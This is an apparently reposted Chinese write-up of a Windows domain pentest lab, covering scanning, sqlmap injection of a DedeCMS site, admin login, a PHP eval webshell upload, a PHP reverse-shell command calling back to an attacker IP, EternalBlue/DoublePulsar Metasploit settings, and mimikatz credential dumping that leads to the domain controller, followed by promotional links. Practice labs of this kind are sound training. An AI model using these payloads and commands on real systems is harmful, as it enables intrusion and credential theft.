目录
第一次打靶
0x01 flag2(sql注入)
0x02 flag1(sql注入)
0x03 flag3 (文件上传)
0x04 flag4
第二次打靶
0x04 flag4
第三次打靶
0x04 flag4
0x05 flag5
前言
一直做的靶场都是linux系统,这次找到一个好玩的windows域靶场(靶场平台:http://www.cloud-pentest.cn)。历时三天,五个flag,拿到域控下的flag才算成功。依旧是一次坎坷的打靶过程。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。
过程
第一次打靶
0x01 flag2(sql注入)
连上靶场vpn后,先用fscan对题目所给网段进行一个粗略扫描
存活两台机子123和141,其中141这台机子扫出来有ms17-010漏洞,
MS17-010漏洞(永恒之蓝):此漏洞利用445端口执行,原本是作为局域网共享使用的一个端口,但恶意人员可以利用此端口偷偷的执行共享服务或者其他命令执行操作,可以获取系统最高权限。
继续信息收集,用nmap扫一波全端口,看看有没有遗漏
嗯?141这台机子关了吗?根据提示,使用-Pn再扫一遍
嘿,没关,还开着445和3389端口,那为什么之前扫不到呢?查了一下才知道原因
如果当前用户是管理员权限,nmap默认会通过目标IP的80及443端口以及向目标ip发送icmp请求来判断目标IP是否存活,在这个例子中,目标80及443端口均不可达而且可能没开icmp协议,所以nmap认为172.25.0.141是死的并不再继续执行扫描动作
尝试使用msf利用ms17-010直接拿下141这台机子的shell
结果这台机子是32位的win7,我kali是64位的,暂时还利用不了,只能先去做一下123这台机子了,这台机子开放了80端口,使用浏览器访问,是织梦CMS
不说别的,先用gobuster扫一波目录
扫出来很多有意思的目录,一个一个的访问后感觉只有sql目录可以利用,
访问这个目录后直接跳转到了一个sql语句执行的页面,盲猜一波sql注入,在路径后面拼接上?id=2,访问
有戏的样子,直接上sqlmap一把梭
sqlmap -u http://172.25.0.123/sql/id=2 --dbs
扫出来四个数据库,常规操作,-D指定数据库(咱们直接用织梦的那个数据库),--tables爆表
第一个就是flag表,继续-T指定flag表,--dump爆出所有数据,拿下flag2
0x02 flag1(sql注入)
上一个flag是flag2,那flag1呢?回到主页面,可以看出这个cms的版本为v57_UTF8_SP1,但是我对织梦cms并不熟悉,搜一下这个版本历史漏洞,没有找到可以利用的,但是找到了这个cms的后台管理登录地址/dede/login.php
尝试一波弱口令,但是admin/admin;admin/123456都登不上去,还记得之前有个sql注入的漏洞,继续去看看,管理员的账号密码应该可以搞出来
成功拿到账号密码,进行登录,在管理页面成功拿下flag1
0x03 flag3 (文件上传)
在下面有一个文件式管理器,可以上传文件,先传一个试试,看看能不能执行
<?php
@eval($_GET['cmd']);
phpinfo();
?>
上传成功,点击可以访问执行
因为kali自带的webshell管理工具用不习惯,还是尝试弹个shell回来吧
cmd=system('php+-r+'$sock%3dfsockopen("10.8.0.70",1234)%3bsystem("sh+<%263+>%263+2>%263")%3b'')%3b
使用burp抓包进行cmd传参,成功拿下shell,在网站根目录下拿到flag3
0x04 flag4
查看一下,123这台被拿下shell的机子的网段,
嗯,啥也没有,看来得回去干141那台机子了,但是我并不清楚如何对32位的win7去进行ms17-010的利用,只能先去学习一下再来了,刚好时间也到了,第一次打靶结束。
第二次打靶
0x04 flag4
在学习了很多复现ms17-010的文章后,我大抵是看会了,先给kali装一下32位的环境
sudo dpkg --add-architecture i386 #这是让Linux安装32位架构,好兼容32位的程序
apt-get update
apt-get install wine32
wine cmd.exe #测试是否安装成功、
#下载32位操作系统所用的脚本
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
reload_all #将脚本放入msfexp目录下后,启动控制台,重新加载所有模块
exp的options的一些设置
use exploit/windows/smb/eternalblue_doublepulsar
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
建议在运行msfconsole时使用root身份运行,不然会报错的
在倒腾了好一会儿环境后终于可以run了,
成功拿下shell,但你以为这就结束了吗,嘿,还早着呢。这个shell基本上会每隔一分钟自动断开一次,每断开一次就得重新run一次。。。
执行一下ipconfig,看到了另一个网段192.168.60.1/24
大部分都是中文乱码,没怎么在意,本打算传一个frp上去搭建一个socks5隧道,结果试了很多次死活传不上
突然想起来这台机子开了3389端口,于是我就打算创建一个用户,使用远程桌面连接进行登录操作
因为它显示是乱码,我以为添加成功了,但是远程连接一直连不上,后来执行chcp 65001命令,才能让英文显示不乱码,再次尝试添加用户后发现它报错
执行whoami等其他命令也是报错,给我整不会了
但是ipconfig /all能用,上面还写出了有一个test域,还告诉我主机名字是topsec
我不是很了解rpc报1722的错是什么意思,以为是我自己操作的问题,既然这条路走不通,那就再换一种思路,还记得上面有找到过一个sql注入,有没有可能用户的密码设置的是一样的,我可以用从数据库中拿到的用户密码远程连接这台机子呢?
回头继续看了以下数据库中的数据,根据上面搜集到的信息,匹配到一条极有可能可以利用的账号密码
尝试登录,依旧报错,人快麻了
实在是没思路了,找管理员沟通了一下后,原来是靶场环境出了问题,呜呜呜...
时间也到了,第二次也就这样结束了
第三次打靶
0x04 flag4
在环境修好后,我又开始了我的第三次打靶,不过这次ms17-010拿不到shell了,
应该是这个payload让这个漏洞利用起来不太稳定吧,那只能回到上一个思路,拿着sql注入搞出来的账号密码去尝试一下远程桌面连接了
嘿确实,连上去了,之后在C盘目录下找到了flag4
0x05 flag5
根据上面所有收集到的信息,已知存在一个test域,这台win7的机子还有一个网段192.168.60.1/24,看了一下题目给出的网络拓扑,最后应该是只剩下那台域控了,ipconfig看一下发现DNS服务器和网关都是192.168.60.100
那域控的ip应该就是这个了,上fscan扫一下
确实如此,192.168.60.100就是域控的ip,那我们要如何拿下域控呢?
一般来讲我会先用mimikatz把当前这台机子的密码哈希凭据什么的先给整下来,看看能不能直接靠这些信息登录域控,如果不行在去想别的办法,或者搭建个隧道利用fscan扫出来的这个ms17-010漏洞拿下域控。
思路明确,我本来还想着这个mimikatz要我自己上传,结果发现桌面上的win32文件夹里自带了mimikatz,好家伙这应该是题目给的提示吧
运行一下
log
privilege::debug //用于提升至DebugPrivilege权限
sekurlsa::logonpasswords full //用于导出用户凭据
找到了一个test域的administrator用户和密码
直接远程桌面里套一层远程桌面连接域控
最后在域控C盘里拿到了flag5
总结
到这里就结束了,整个过程依旧坎坷,但是在不断的练习过程中对一些知识点的理解越来越深,对一些基本操作也越来越熟,也逐渐形成了一套自己的打靶练习方式,总的来说还是很有收获,最后感谢这个靶场平台的管理师傅们,为了让我能正常练习,周末放假还得来维护靶场,hhh,感兴趣的师傅们也可以玩一下这个靶场,还是挺有意思的。下次继续,嘿嘿。
希望师傅们不喜勿喷,感谢。
参考文章
dedecms漏洞总结
MS17-010永恒之蓝漏洞利用,win32安装,windows 7
本文作者:QRLing, 转载请注明来自FreeBuf.COM
【Hacking黑白红】,一线渗透攻防实战交流公众号
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。
▶【渗透实战系列】51|- 一次BC站点的GetShell过程
▶【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇
▶【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置
▶【渗透实战系列】|45-记一次渗透实战-代码审计到getshell
▶【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)
▶【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
▶【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
▶【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】|29-实战|对某勒索APP的Getshell
▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(Hacking黑白红):记录一次坎坷的打靶经历·四(附靶场地址-内网、域控、cms漏洞、frp等)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论